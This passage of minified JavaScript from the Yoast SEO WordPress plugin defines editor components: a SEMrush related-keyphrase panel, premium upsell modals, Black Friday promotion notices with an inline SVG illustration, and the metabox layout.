Aa=(0,Le.compose)([(0,a.withSelect)((e=>{const{getPreferences:t,getPageType:s,getDefaultPageType:r,getArticleType:n,getDefaultArticleType:a}=e("yoast-seo/editor"),{displaySchemaSettingsFooter:o,isNewsEnabled:i}=t();return{displayFooter:o,isNewsEnabled:i,schemaPageTypeSelected:s(),schemaArticleTypeSelected:n(),defaultArticleType:a(),defaultPageType:r()}})),(0,a.withDispatch)((e=>{const{setPageType:t,setArticleType:s,getSchemaPageData:r,getSchemaArticleData:n}=e("yoast-seo/editor");return{loadSchemaPageData:r,loadSchemaArticleData:n,schemaPageTypeChange:t,schemaArticleTypeChange:s}})),$s()])(La),Fa=window.yoast.relatedKeyphraseSuggestions,Oa=({countryCode:e,setCountry:s,newRequest:r,keyphrase:n,setRequestFailed:a,setNoResultsFound:o,setRequestSucceeded:l,setRequestLimitReached:c,response:d,lastRequestKeyphrase:p,userLocale:u})=>{const[m,h]=(0,i.useState)(e),g=(0,i.useCallback)((e=>{"error"in e&&(e.error.includes("TOTAL LIMIT EXCEEDED")?c():a(e))}),[c,a]),y=(0,i.useCallback)((async()=>{r(e,n),nt()({path:"yoast/v1/semrush/country_code",method:"POST",data:{country_code:e}});const t=await nt()({path:(0,xr.addQueryArgs)("/yoast/v1/semrush/related_keyphrases",{keyphrase:n,country_code:e})});if(200===t.status)return 0===t.results.rows.length?void o():(l(t),void h(e));g(t)}),[e,n,r]);return(0,i.useEffect)((()=>{d&&n===p||y()}),[]),(0,t.createElement)(Fa.CountrySelector,{countryCode:e,activeCountryCode:m,onChange:s,onClick:y,className:"yst-mb-4",userLocale:u})};Oa.propTypes={keyphrase:y().string,countryCode:y().string,response:y().object,lastRequestKeyphrase:y().string,setCountry:y().func.isRequired,newRequest:y().func.isRequired,setNoResultsFound:y().func.isRequired,setRequestSucceeded:y().func.isRequired,setRequestLimitReached:y().func.isRequired,setRequestFailed:y().func.isRequired,userLocale:y().string},Oa.defaultProps={keyphrase:"",countryCode:"us",response:{},lastRequestKeyphrase:"",userLocale:null};const Na=Oa;function qa(e){const{requestLimitReached:t,isSuccess:s,response:r,requestHasData:n,relatedKeyphrases:a}=e;return t?"requestLimitReached":!s&&function(e){return!(0,m.isEmpty)(e)&&"error"in e}(r)?"requestFailed":n?function(e){return e&&e.length>=4}(a)?"maxRelatedKeyphrases":void 0:"requestEmpty"}function Ma(e){var s,r;const{response:n,lastRequestKeyphrase:a,keyphrase:o,newRequest:i,setCountry:l,renderAction:c,countryCode:d,requestLimitReached:p,setRequestFailed:u,setNoResultsFound:m,relatedKeyphrases:h,setRequestSucceeded:g,setRequestLimitReached:y,isPending:f,isRtl:w,isPremium:b,userLocale:E}=e;return(0,t.createElement)(S.Root,{context:{isRtl:w}},!p&&!b&&(0,t.createElement)(Fa.PremiumUpsell,{url:window.wpseoAdminL10n["shortlinks.semrush.premium_landing_page"],className:"yst-mb-4"}),!p&&(0,t.createElement)(Na,{countryCode:d,setCountry:l,newRequest:i,keyphrase:o,setRequestFailed:u,setNoResultsFound:m,setRequestSucceeded:g,setRequestLimitReached:y,response:n,lastRequestKeyphrase:a,userLocale:E.split("_")[0]}),!f&&(0,t.createElement)(Fa.UserMessage,{variant:qa(e),upsellLink:window.wpseoAdminL10n["shortlinks.semrush.prices"]}),(0,t.createElement)(Fa.KeyphrasesTable,{relatedKeyphrases:h,columnNames:null==n||null===(s=n.results)||void 0===s?void 0:s.columnNames,data:null==n||null===(r=n.results)||void 0===r?void 0:r.rows,isPending:f,renderButton:c,className:"yst-mt-4"}))}Ma.propTypes={keyphrase:y().string,relatedKeyphrases:y().array,renderAction:y().func,requestLimitReached:y().bool,countryCode:y().string.isRequired,setCountry:y().func.isRequired,newRequest:y().func.isRequired,setRequestSucceeded:y().func.isRequired,setRequestLimitReached:y().func.isRequired,setRequestFailed:y().func.isRequired,setNoResultsFound:y().func.isRequired,response:y().object,lastRequestKeyphrase:y().string,isRtl:y().bool,userLocale:y().string,isPending:y().bool,isPremium:y().bool},Ma.defaultProps={keyphrase:"",relatedKeyphrases:[],renderAction:null,requestLimitReached:!1,response:{},lastRequestKeyphrase:"",isRtl:!1,userLocale:"en_US",isPending:!1,isPremium:!1};const Da=(0,Le.compose)([(0,a.withSelect)((e=>{const{getFocusKeyphrase:t,getSEMrushSelectedCountry:s,getSEMrushRequestLimitReached:r,getSEMrushRequestResponse:n,getSEMrushRequestIsSuccess:a,getSEMrushIsRequestPending:o,getSEMrushRequestHasData:i,getSEMrushRequestKeyphrase:l,getPreference:c,getIsPremium:d}=e("yoast-seo/editor");return{keyphrase:t(),countryCode:s(),requestLimitReached:r(),response:n(),isSuccess:a(),isPending:o(),requestHasData:i(),lastRequestKeyphrase:l(),isRtl:c("isRtl",!1),userLocale:c("userLocale","en_US"),isPremium:d()}})),(0,a.withDispatch)((e=>{const{setSEMrushChangeCountry:t,setSEMrushNewRequest:s,setSEMrushRequestSucceeded:r,setSEMrushRequestFailed:n,setSEMrushSetRequestLimitReached:a,setSEMrushNoResultsFound:o}=e("yoast-seo/editor");return{setCountry:e=>{t(e)},newRequest:(e,t)=>{s(e,t)},setRequestSucceeded:e=>{r(e)},setRequestFailed:e=>{n(e)},setRequestLimitReached:()=>{a()},setNoResultsFound:()=>{o()}}}))])(Ma),$a=(0,l.__)("Check your text on even more SEO criteria and get an enhanced keyphrase analysis, making it easier to optimize your content.","wordpress-seo"),Ba=e=>{const{locationContext:s}=(0,p.useRootContext)(),r=(0,xr.addQueryArgs)(wpseoAdminL10n[e.buyLink],{context:s});return(0,t.createElement)(zr,{title:(0,l.__)("Get more help with writing content that ranks","wordpress-seo"),description:e.description,benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,l.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:he(),upsellButtonText:(0,l.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,l.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:r,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,l.__)("1 year of premium support and updates included!","wordpress-seo")})};Ba.propTypes={buyLink:y().string.isRequired,description:y().string},Ba.defaultProps={description:$a};const Ua=Ba,Wa=({location:e})=>{const[s,r]=(0,i.useState)(!1),n=(0,i.useCallback)((()=>r(!1)),[]),a=(0,i.useCallback)((()=>r(!0)),[]),o=(0,S.useSvgAria)();return(0,t.createElement)(i.Fragment,null,s&&(0,t.createElement)(je,{title:(0,l.__)("Unlock Premium SEO analysis","wordpress-seo"),onRequestClose:n,additionalClassName:"",className:`${Ue} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,id:"yoast-premium-seo-analysis-modal",shouldCloseOnClickOutside:!0},(0,t.createElement)(Be,null,(0,t.createElement)(Ua,{buyLink:`shortlinks.upsell.${e}.premium_seo_analysis_button`}))),"sidebar"===e&&(0,t.createElement)(Ge,{id:"yoast-premium-seo-analysis-modal-open-button",title:(0,l.__)("Premium SEO analysis","wordpress-seo"),prefixIcon:{icon:"seo-score-none",color:_e.colors.$color_grey},onClick:a},(0,t.createElement)("div",{className:"yst-root"},(0,t.createElement)(S.Badge,{size:"small",variant:"upsell"},(0,t.createElement)(qr,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...o})))),"metabox"===e&&(0,t.createElement)("div",{className:"yst-root"},(0,t.createElement)(Me,{id:"yoast-premium-seo-analysis-metabox-modal-open-button",onClick:a},(0,t.createElement)(ke.SvgIcon,{icon:"seo-score-none",color:_e.colors.$color_grey}),(0,t.createElement)(Me.Text,null,(0,l.__)("Premium SEO analysis","wordpress-seo")),(0,t.createElement)(S.Badge,{size:"small",variant:"upsell"},(0,t.createElement)(qr,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...o}),(0,t.createElement)("span",null,"Premium")))))};Wa.propTypes={location:y().string},Wa.defaultProps={location:"sidebar"};const ja=Wa,Ka=e=>(0,t.createElement)(zr,{title:(0,l.__)("Reach a wider audience","wordpress-seo"),description:(0,l.__)("Get help optimizing for up to 5 related keyphrases. This helps you reach a wider audience and get more traffic.","wordpress-seo"),benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,l.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:he(),upsellButtonText:(0,l.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,l.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:e.buyLink,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,l.__)("1 year free support and updates included!","wordpress-seo")});Ka.propTypes={buyLink:y().string.isRequired};const Ha=Ka,Va=()=>{const[e,,,s,r]=(0,S.useToggleState)(!1),n=(0,i.useContext)(p.LocationContext),{locationContext:a}=(0,p.useRootContext)(),o=(0,S.useSvgAria)(),c=wpseoAdminL10n["sidebar"===n.toLowerCase()?"shortlinks.upsell.sidebar.additional_button":"shortlinks.upsell.metabox.additional_button"];return(0,t.createElement)(t.Fragment,null,e&&(0,t.createElement)(je,{title:(0,l.__)("Add related keyphrases","wordpress-seo"),onRequestClose:r,additionalClassName:"",id:"yoast-additional-keyphrases-modal",className:`${Ue} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,shouldCloseOnClickOutside:!0},(0,t.createElement)(Be,null,(0,t.createElement)(Ha,{buyLink:(0,xr.addQueryArgs)(c,{context:a})}))),"sidebar"===n&&(0,t.createElement)(Ge,{id:"yoast-additional-keyphrase-modal-open-button",title:(0,l.__)("Add related keyphrase","wordpress-seo"),prefixIcon:{icon:"plus",color:_e.colors.$color_grey_medium_dark},onClick:s},(0,t.createElement)("div",{className:"yst-root"},(0,t.createElement)(S.Badge,{size:"small",variant:"upsell"},(0,t.createElement)(qr,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...o})))),"metabox"===n&&(0,t.createElement)("div",{className:"yst-root"},(0,t.createElement)(Me,{id:"yoast-additional-keyphrase-metabox-modal-open-button",onClick:s},(0,t.createElement)(ke.SvgIcon,{icon:"plus",color:_e.colors.$color_grey_medium_dark}),(0,t.createElement)(Me.Text,null,(0,l.__)("Add related keyphrase","wordpress-seo")),(0,t.createElement)(S.Badge,{size:"small",variant:"upsell"},(0,t.createElement)(qr,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...o}),(0,t.createElement)("span",null,"Premium")))))};var za,Ya,Ga,Za,Xa,Qa,Ja,eo,to,so,ro,no,ao,oo,io,lo,co,po,uo,mo,ho,go,yo,fo,wo,bo,Eo,vo,ko,_o,xo,Ro,So,To,Co,Io,Po,Lo,Ao,Fo,Oo,No,qo,Mo,Do,$o,Bo;function Uo(){return Uo=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Uo.apply(this,arguments)}const Wo=e=>t.createElement("svg",Uo({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 448 360"},e),za||(za=t.createElement("circle",{cx:226,cy:211,r:149,fill:"#f0ecf0"})),Ya||(Ya=t.createElement("path",{fill:"#fbd2a6",d:"M173.53 189.38s-35.47-5.3-41.78-11c-9.39-24.93-29.61-48-35.47-66.21-.71-2.24 3.72-11.39 3.53-15.41s-5.34-11.64-5.23-14-.09-15.27-.09-15.27l-4.75-.72s-5.13 6.07-3.56 9.87c-1.73-4.19 4.3 7.93.5 9.35 0 0-6-5.94-11.76-8.27s-19.57-3.65-19.57-3.65L43.19 73l-4.42.6L31 69.7l-2.85 5.12 7.53 5.29L40.86 92l17.19 10.2 10.2 10.56 9.86 3.56s26.49 79.67 45 92c17 11.33 37.23 15.92 37.23 15.92z"})),Ga||(Ga=t.createElement("path",{fill:"#a4286a",d:"M270.52 345.13c2.76-14.59 15.94-35.73 30.24-54.58 16.22-21.39 14-79.66-33.19-91.46-17.3-4.32-52.25-1-59.85-3.41C186.54 189 170 187 168 190.17c-5 10.51-7.73 27.81-5.51 36.26 1.18 4.73 3.54 5.91 20.49 13.4-5.12 15-16.35 26.3-22.86 37s7.88 27.2 7.1 33.51c-.48 3.8-4.26 21.13-7.18 34.25a149.47 149.47 0 0 0 110.3 8.66 25.66 25.66 0 0 1 .18-8.12z"})),Za||(Za=t.createElement("path",{fill:"#9a5815",d:"M206.76 66.43c-5 14.4-1.42 25.67-3.93 40.74-10 60.34-24.08 43.92-31.44 93.6 7.24-14.19 14.32-15.82 20.63-23.11-.83 3.09-10.25 13.75-8.05 34.81 9.85-8.51 6.35-8.75 11.86-8.54.36 3.25 3.53 3.22-3.59 10.53 2.52.69 17.42-14.32 20.16-12.66s0 5.72-6 7.76c2.15 2.2 30.47-3.87 43.81-14.71 4.93-4 10-13.16 13.38-18.2 7.17-10.62 12.38-24.77 17.71-36.6 8.94-19.87 15.09-39.34 16.11-61.31.53-10.44-3.41-18.44-4.41-28.86-2.57-27.8-67.63-37.26-86.24 16.55z"})),Xa||(Xa=t.createElement("path",{fill:"#efb17c",d:"M277.74 179.06c.62-.79 1.24-1.59 1.84-2.39-.85 2.59-1.52 3.73-1.84 2.39z"})),Qa||(Qa=t.createElement("path",{fill:"#fbd2a6",d:"M216.1 206.72c3.69-5.42 8.28-3.35 15.57-8.28 3.76-3.06 1.57-9.46 1.77-11.82 18.25 4.56 37.38-1.18 49.07-16 .62 5.16-2.77 22.27-.2 27 4.73 8.67 13.4 18.92 13.4 18.92-35.47-2.76-63.45 39-89.86 44.54 5.52-28.74-2.36-35.84 10.25-54.36z"})),Ja||(Ja=t.createElement("path",{fill:"#f6b488",d:"m235.21 167.9 53.21-25.23s-3.65 24-6.5 32.72c-64.05 62.66-46.47-7.33-46.71-7.49z"})),eo||(eo=t.createElement("path",{fill:"#fbd2a6",d:"M226.86 50.64C215 59.31 206.37 93.21 204 95.57c-19.46 19.47-3.59 41.39-3.94 51.24-.2 5.52-4.14 25.42 5.72 29.36 22.22 8.89 60-3.48 67.19-12.61 13.28-16.75 40.89-94.78 17.74-108.19-7.92-4.58-42.78-20.18-63.85-4.73z"})),to||(to=t.createElement("path",{fill:"#e5766c",d:"M243.69 143.66c-10.7-6.16-8.56-6.73-19.76-12.71-3.86-2.07-3.94.64-6.32 0-2.91-.79-1.39-2.74-5.37-3.48-6.52-1.21-3.67 3.63-3.15 6 1.32 6.15-8.17 17.3 3.26 21.42 12.65 4.55 21.38-9.41 31.34-11.23z"})),so||(so=t.createElement("path",{fill:"#fff",d:"M240.68 143.9c-11.49-5.53-11.65-8.17-24.64-11.69-8.6-2.32-5.53 1-5.69 4.42-.2 4.16-1.26 9.87 4.9 12.66 9 4.09 18.16-6.02 25.43-5.39zm.7-40.9c-.16 1.26-.06 4.9 5.46 8.25 11.43-4.73 16.36-2.56 17-3.33 1.48-1.76-2-8.87-7.88-9.85-5.58-.94-14.14 1.24-14.58 4.93z"})),ro||(ro=t.createElement("path",{fill:"#000001",d:"M263.53 108.19c-4.32-4.33-6.85-6.24-12.26-8.21-2.77-1-6.18.18-8.65 1.67a3.65 3.65 0 0 0-1.24 1.23h-.12a3.73 3.73 0 0 1 1-1.52 12.53 12.53 0 0 1 11.93-3c4.73 1 9.43 4.63 9.42 9.82z"})),no||(no=t.createElement("circle",{cx:254.13,cy:104.05,r:4.19,fill:"#000001"})),ao||(ao=t.createElement("path",{fill:"#fff",d:"M225.26 99.22c-.29 1-6.6 3.45-10.92 1.48-1.15-3.24-5-6.43-5.25-6.71-.5-2.86 5.55-8 10.06-6.3a10.21 10.21 0 0 1 6.11 11.53z"})),oo||(oo=t.createElement("path",{fill:"#000001",d:"M209.29 94.21c-.19-2.34 1.84-4.1 3.65-5.2 7-3.87 13.18 3 12.43 10h-.12c-.14-4-2.38-8.44-6.47-9.11a3.19 3.19 0 0 0-2.42.31c-1.37.85-2.38 2-3.89 2.56-1 .45-1.92.42-3 1.4h-.22z"})),io||(io=t.createElement("circle",{cx:219.55,cy:95.28,r:4,fill:"#000001"})),lo||(lo=t.createElement("path",{fill:"#efb17c",d:"M218.66 120.27a27.32 27.32 0 0 0 4.54 3.45c-2.29-.72-4.28-.69-6.32-2.27-2.53-2-3.39-5.16-.73-7.72 10.24-9.82 12.56-13.82 14.77-24.42-1 12.37-6 17.77-10.63 23.18-2.53 2.97-4.68 5.06-1.63 7.78z"})),co||(co=t.createElement("path",{fill:"#a57c52",d:"M231.22 69.91c-.67-3.41-8.78-2.83-11.06-1.93-3.48 1.39-6.08 5.22-7.13 8.53 2.9-4.3 6.74-8.12 12.46-6 1.16.42 3.18 2.35 4.48 1.85s1.03-2.2 1.25-2.45zm32.16 8.56c-2.75-1.66-12.24-5.08-12.18.82 2.56.24 5-.19 7.64.95 11.22 4.76 12.77 17.61 12.85 17.86.2-.53.1 1.26.23.7-.02.2.95-12.12-8.54-20.33z"})),po||(po=t.createElement("path",{fill:"#fbd2a6",d:"M53.43 250.73c6.29 0-.6-.17 7.34 0 1.89.05-2.38-.7 0-.69 4.54-4.2 12.48-.74 20.6-2.45 4.55.35 3.93 1.35 5.59 4.19 4.89 8.38 4.78 14.21 14 19.56 16.42 8.38 66 12.92 88.49 18.86 5.52.83 42.64-20.15 61-23.75 6.51 10.74 11.46 28.68 8.39 34.93-6.54 13.3-57.07 25.4-75.91 25.15C156.47 326.18 94 294 92.2 293c-.94-.57.7-.7-7.68 0s-10.15.72-17.47-1.4c-3-.87-4.61-1.33-6.33-3.54-2 .22-3.39.2-4.78-1-3.15-2.74-4.84-6.61-2.73-10.06h-.12c-3.35-2.48-6.54-7.69-3.08-11.72 1-1.18 6.06-1.94 7.77-2.28-1.58-.29-6.37.19-7.49-.72-3.06-2.5-4.96-11.55 3.14-11.55z"})),uo||(uo=t.createElement("path",{fill:"#a4286a",d:"M303.22 237.52c-9.87-11.88-41.59 8.19-47.8 12.34s-14.89 17.95-14.89 17.95c6 9.43 8.36 31 5.65 46.34l30.51-3s18-15.62 22.59-28.7 6.3-42.54 6.3-42.54"})),mo||(mo=t.createElement("path",{fill:"#cb9833",d:"M278.63 31.67c-6.08 0-22.91 4.07-22.93 12.91 0 11 47.9 38.38 16.14 85.85 10.21-.79 10.79-8.12 14.92-14.93-3.66 77-49.38 93.58-40.51 142.25 7.68-25.81 20.3-11.62 38.13-33.84 3.45 4.88 9 18.28-9.46 33.78 50-31.26 57.31-56.6 51.92-95C319.93 113.53 348.7 42 278.63 31.67z"})),ho||(ho=t.createElement("path",{fill:"#fbd2a6",d:"M283.64 126.83c-2.42 9.67-8 15.76-1.48 16.46A21.26 21.26 0 0 0 302 132.6c5.17-8.52 3.93-16.44-2.46-18s-13.48 2.56-15.9 12.23z"})),go||(go=t.createElement("path",{fill:"#efb17c",d:"M38 73.45c1.92 2 4.25 9.21 6.32 10.91 2.25 1.85 5.71 2.12 8.1 4.45 3.66-2 6-8.72 10-9.31-2.59 1.31-4.42 3.5-6.93 4.88-1.42.8-3 1.31-4.38 2.25-2.16-1.46-4.27-1.77-6.26-3.38-2.52-2.02-5.31-8-6.85-9.8z"})),yo||(yo=t.createElement("path",{fill:"#efb17c",d:"M39 74.4c4.83 1.1 12.52 6.44 15.89 10-3.22-1.34-14.73-6.15-15.89-10zm.62-1.5c6.71-.79 18 1.54 23.29 5.9-3.85-.2-5.42-1.48-9-2.94-4.08-1.69-8.83-2.03-14.29-2.96zm46.43 14.58c-3.72-1.32-10.52-1.13-13.22 3.52 2-1.16 1.84-2.11 4.18-1.72-3.81-4.15 8.16-.74 11.6-.24m-2.78 13.15c.56-3.29-8-7.81-10.58-9.17-6.25-3.29-12.16 1.36-19.33-4.53 5.94 6.1 14.23 2.5 19.55 5.76 3.06 1.88 8.65 6.09 9.35 9.38-.23-.4 1.29-1.44 1.01-1.44z"})),fo||(fo=t.createElement("circle",{cx:38.13,cy:30.03,r:3.14,fill:"#b89ac8"})),wo||(wo=t.createElement("circle",{cx:60.26,cy:39.96,r:3.14,fill:"#e31e0c"})),bo||(bo=t.createElement("circle",{cx:50.29,cy:25.63,r:3.14,fill:"#3baa45"})),Eo||(Eo=t.createElement("circle",{cx:22.19,cy:19.21,r:3.14,fill:"#2ca9e1"})),vo||(vo=t.createElement("circle",{cx:22.19,cy:30.03,r:3.14,fill:"#e31e0c"})),ko||(ko=t.createElement("circle",{cx:26.86,cy:8.28,r:3.14,fill:"#3baa45"})),_o||(_o=t.createElement("circle",{cx:49.32,cy:39.99,r:3.14,fill:"#e31e0c"})),xo||(xo=t.createElement("circle",{cx:63.86,cy:59.52,r:3.14,fill:"#f8ad39"})),Ro||(Ro=t.createElement("circle",{cx:50.88,cy:50.72,r:3.14,fill:"#3baa45"})),So||(So=t.createElement("circle",{cx:63.47,cy:76.17,r:3.14,fill:"#e31e0c"})),To||(To=t.createElement("circle",{cx:38.34,cy:14.83,r:3.14,fill:"#2ca9e1"})),Co||(Co=t.createElement("circle",{cx:44.44,cy:5.92,r:3.14,fill:"#f8ad39"})),Io||(Io=t.createElement("circle",{cx:57.42,cy:10.24,r:3.14,fill:"#e31e0c"})),Po||(Po=t.createElement("circle",{cx:66.81,cy:12.4,r:3.14,fill:"#2ca9e1"})),Lo||(Lo=t.createElement("circle",{cx:77.95,cy:5.14,r:3.14,fill:"#b89ac8"})),Ao||(Ao=t.createElement("circle",{cx:77.95,cy:30.34,r:3.14,fill:"#e31e0c"})),Fo||(Fo=t.createElement("circle",{cx:80.97,cy:16.55,r:3.14,fill:"#f8ad39"})),Oo||(Oo=t.createElement("circle",{cx:62.96,cy:27.27,r:3.14,fill:"#3baa45"})),No||(No=t.createElement("circle",{cx:75.36,cy:48.67,r:3.14,fill:"#2ca9e1"})),qo||(qo=t.createElement("circle",{cx:76.11,cy:65.31,r:3.14,fill:"#3baa45"})),Mo||(Mo=t.createElement("path",{fill:"#71b026",d:"M78.58 178.43C54.36 167.26 32 198.93 5 198.93c19.56 20.49 63.53 1.52 69 15.5 1.48-14.01 4.11-30.9 4.58-36z"})),Do||(Do=t.createElement("path",{fill:"#074a67",d:"M67.75 251.08c0-4.65 10.13-72.65 10.13-72.65h2.8l-9.09 72.3z"})),$o||($o=t.createElement("ellipse",{cx:255.38,cy:103.18,fill:"#fff",rx:1.84,ry:1.77})),Bo||(Bo=t.createElement("ellipse",{cx:221.24,cy:94.75,fill:"#fff",rx:1.84,ry:1.77}))),jo=(0,Le.compose)([(0,a.withSelect)(((e,t)=>{const{isAlertDismissed:s}=e(t.store||"yoast-seo/editor");return{isAlertDismissed:s(t.alertKey)}})),(0,a.withDispatch)(((e,t)=>{const{dismissAlert:s}=e(t.store||"yoast-seo/editor");return{onDismissed:()=>s(t.alertKey)}}))]),Ko=({children:e,id:s,hasIcon:r=!0,title:n,image:a=null,isAlertDismissed:o,onDismissed:i})=>o?null:(0,t.createElement)("div",{id:s,className:"notice-yoast yoast is-dismissible yoast-webinar-dashboard yoast-general-page-notices"},(0,t.createElement)("div",{className:"notice-yoast__container"},(0,t.createElement)("div",null,(0,t.createElement)("div",{className:"notice-yoast__header"},r&&(0,t.createElement)("span",{className:"yoast-icon"}),(0,t.createElement)("h2",{className:"notice-yoast__header-heading yoast-notice-migrated-header"},n)),(0,t.createElement)("div",{className:"notice-yoast-content"},(0,t.createElement)("p",null,e))),a&&(0,t.createElement)(a,{height:"60"})),(0,t.createElement)("button",{type:"button",className:"notice-dismiss",onClick:i},(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,l.__)("Dismiss this notice.","wordpress-seo"))));Ko.propTypes={children:y().node.isRequired,id:y().string.isRequired,hasIcon:y().bool,title:y().any.isRequired,image:y().elementType,isAlertDismissed:y().bool.isRequired,onDismissed:y().func.isRequired};const Ho=jo(Ko),Vo=({store:e="yoast-seo/editor",image:s=null,title:r,promoId:n,alertKey:o,children:i,...l})=>(0,a.select)(e).isPromotionActive(n)&&(0,t.createElement)(Ho,{alertKey:o,store:e,id:o,title:r,image:s,...l},i);Vo.propTypes={store:y().string,image:y().elementType,title:y().any.isRequired,promoId:y().string.isRequired,alertKey:y().string.isRequired,children:y().node};const zo=({store:e="yoast-seo/editor",location:s="sidebar",...r})=>{const n=(0,a.useSelect)((t=>t(e).getIsPremium()),[e]),o=(0,a.useSelect)((t=>t(e).selectLinkParams()),[e]),c="sidebar"===s?(0,l.sprintf)(/* translators: %1$s expands to Yoast SEO Premium */
(0,l.__)("Now with 30%% OFF: %1$s","wordpress-seo"),"Yoast SEO Premium"):(0,i.createInterpolateElement)((0,l.sprintf)(/* translators: %1$s expands to Yoast SEO Premium, %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,l.__)("Now with 30%% OFF: %1$s %2$sBuy now!%3$s","wordpress-seo"),"Yoast SEO Premium","<a>","</a>"),{a:(0,t.createElement)("a",{href:(0,xr.addQueryArgs)("https://yoa.st/black-friday-sale",o),target:"_blank",rel:"noreferrer"})});return n?null:(0,t.createElement)(Vo,{id:`black-friday-2024-promotion-${s}`,promoId:"black-friday-2024-promotion",alertKey:"black-friday-2024-promotion",store:e,title:c,...r},(0,t.createElement)("span",{className:"yoast-bf-sale-badge"},(0,l.__)("BLACK FRIDAY SALE","wordpress-seo")," "),"sidebar"===s&&(0,t.createElement)("a",{className:"yst-block yst--mb-[1em]",href:(0,xr.addQueryArgs)("https://yoa.st/black-friday-sale",o),target:"_blank",rel:"noreferrer"},(0,l.__)("Buy now!","wordpress-seo")))};zo.propTypes={store:y().string,location:y().oneOf(["sidebar","metabox"])};const Yo=e=>s=>!(()=>{var e,t;const s=(0,a.select)("yoast-seo/editor").getIsPremium(),r=(0,a.select)("yoast-seo/editor").getWarningMessage();return(s&&null!==(e=null===(t=(0,a.select)("yoast-seo-premium/editor"))||void 0===t?void 0:t.getMetaboxWarning())&&void 0!==e?e:[]).length>0||r.length>0})()&&(0,t.createElement)(e,{...s}),Go=Yo((()=>{const e=(0,a.useSelect)((e=>e("yoast-seo/editor").selectLinkParams()),[]),s=(0,l.sprintf)(/* translators: %1$s expands to 'WooCommerce'. */
(0,l.__)("Is your %1$s store ready for Black Friday?","wordpress-seo"),"WooCommerce");return(0,t.createElement)(Vo,{id:"black-friday-2023-product-editor-checklist",alertKey:"black-friday-2023-product-editor-checklist",promoId:"black-friday-2023-checklist",store:"yoast-seo/editor",title:s,image:Wo},(0,i.createInterpolateElement)((0,l.sprintf)(/* translators: %1$s expands to a 'strong' start tag, %2$s to a 'strong' end tag. */
(0,l.__)("The Yoast %1$sultimate Black Friday checklist%2$s helps you prepare in time, so you can boost your results during this sale.","wordpress-seo"),"<strong>","</strong>"),{strong:(0,t.createElement)("strong",null)})," ",(0,t.createElement)("a",{href:(0,xr.addQueryArgs)("https://yoa.st/black-friday-checklist",e),target:"_blank",rel:"noreferrer"},(0,l.__)("Get the checklist and start optimizing now!","wordpress-seo")))})),Zo=Yo(zo);function Xo({settings:e}){const s=(0,a.useSelect)((e=>e("yoast-seo/editor").getIsTerm()),[]),r=(0,a.useSelect)((e=>e("yoast-seo/editor").getIsProduct()),[]),n=(0,a.useSelect)((e=>e("yoast-seo/editor").getIsWooCommerceActive()),[]),o=r&&n;return(0,t.createElement)(i.Fragment,null,(0,t.createElement)(k.Fill,{name:"YoastMetabox"},(0,t.createElement)(Zr,{key:"warning",renderPriority:1},(0,t.createElement)(nr,null)),(0,t.createElement)(Zr,{key:"time-constrained-notification",renderPriority:2},o&&(0,t.createElement)(Go,null),(0,t.createElement)(Zo,{image:null,hasIcon:!1,location:"metabox"})),e.isKeywordAnalysisActive&&(0,t.createElement)(Zr,{key:"keyword-input",renderPriority:8},(0,t.createElement)(Ds.KeywordInput,{isSEMrushIntegrationActive:e.isSEMrushIntegrationActive}),!window.wpseoScriptData.metabox.isPremium&&(0,t.createElement)(k.Fill,{name:"YoastRelatedKeyphrases"},(0,t.createElement)(Da,null))),(0,t.createElement)(Zr,{key:"search-appearance",renderPriority:9},(0,t.createElement)(ir,{id:"yoast-snippet-editor-metabox",title:(0,l.__)("Search appearance","wordpress-seo"),initialIsOpen:!0},(0,t.createElement)(rr,{hasPaperStyle:!1}))),e.isContentAnalysisActive&&(0,t.createElement)(Zr,{key:"readability-analysis",renderPriority:10},(0,t.createElement)(Ds.ReadabilityAnalysis,{shouldUpsell:e.shouldUpsell})),e.isKeywordAnalysisActive&&(0,t.createElement)(Zr,{key:"seo-analysis",renderPriority:20},(0,t.createElement)(i.Fragment,null,(0,t.createElement)(Ds.SeoAnalysis,{shouldUpsell:e.shouldUpsell,shouldUpsellWordFormRecognition:e.isWordFormRecognitionActive}),e.shouldUpsell&&(0,t.createElement)(ja,{location:"metabox"}))),e.isInclusiveLanguageAnalysisActive&&(0,t.createElement)(Zr,{key:"inclusive-language-analysis",renderPriority:21},(0,t.createElement)(Ds.InclusiveLanguageAnalysis,null)),e.isKeywordAnalysisActive&&(0,t.createElement)(Zr,{key:"additional-keywords-upsell",renderPriority:22},e.shouldUpsell&&(0,t.createElement)(Va,null)),e.isKeywordAnalysisActive&&e.isWincherIntegrationActive&&(0,t.createElement)(Zr,{key:"wincher-seo-performance",renderPriority:23},(0,t.createElement)(Ms,{location:"metabox"})),e.shouldUpsell&&!s&&(0,t.createElement)(Zr,{key:"internal-linking-suggestions-upsell",renderPriority:25},(0,t.createElement)(Yr,null)),e.isCornerstoneActive&&(0,t.createElement)(Zr,{key:"cornerstone",renderPriority:30},(0,t.createElement)(Bs,null)),e.displayAdvancedTab&&(0,t.createElement)(Zr,{key:"advanced",rende